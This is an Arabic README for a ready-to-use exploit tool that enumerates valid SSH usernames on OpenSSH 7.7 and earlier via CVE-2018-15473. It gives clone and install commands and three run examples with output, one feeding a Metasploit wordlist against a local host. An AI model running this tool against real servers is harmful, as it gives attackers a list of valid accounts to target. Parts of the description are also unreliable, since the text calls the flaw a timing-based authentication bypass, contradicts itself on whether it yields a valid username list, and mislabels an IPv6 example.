
أداة تعداد أسماء مستخدمي SSH تستغل CVE-2018-15473 لتحديد المستخدمين الصالحين على خوادم OpenSSH عبر تجاوز المصادقة القائم على التوقيت.
خادم OpenSSH لا يؤخر معالجة مستخدم غير صالح عند تحليل حزمة تحتوي على طلب قبل اكتمال تحليلها بالكامل. يتعلق هذا الثغرة بـ auth2-gss.c و auth2-hostbased.c و auth2-pubkey.c.
على الرغم من أن هذه الثغرة لا يمكن استخدامها لإنشاء قائمة صالحة بأسماء المستخدمين، إلا أنها لا تزال تسمح بتخمين أسماء المستخدمين من خلال التعداد.
OpenSSH <= 7.7
openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27
قد تحتاج إلى تثبيت الحزمة المكافئة لـ openssl-dev من توزيعتك.
# ملاحظة: إذا كنت تقوم بالتثبيت على Kali، يمكنك تخطي تثبيت pip واتباع الخطوات من السطر الأول إلى الثالث فقط، لأن paramiko موجود بالفعل.
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt
# أو استخدم الأمر التالي للتنزيل والتثبيت
pipenv install -r requirements.txt # if you're cool like that
chmod u+x ssh-username-enum.py
مثال 1: تعداد مستخدم واحد
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!
مثال 2: تعداد عدة مستخدمين باستخدام 10 خيوط (العدد الافتراضي للخيوط هو 4)
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
إلخ
مثال 3: عنوان IPv6 مع تحديد منفذ SSH
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
إلخ
يُنصح المستخدمون بالترقية إلى الإصدار غير المتأثر. كما أصدر مشروع OpenBSD إصلاحًا للمصدر على الرابط التالي: https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
https://github.com/epi052/cve-2018-15473
http://blog.nsfocus.net/openssh-cve-2018-15919/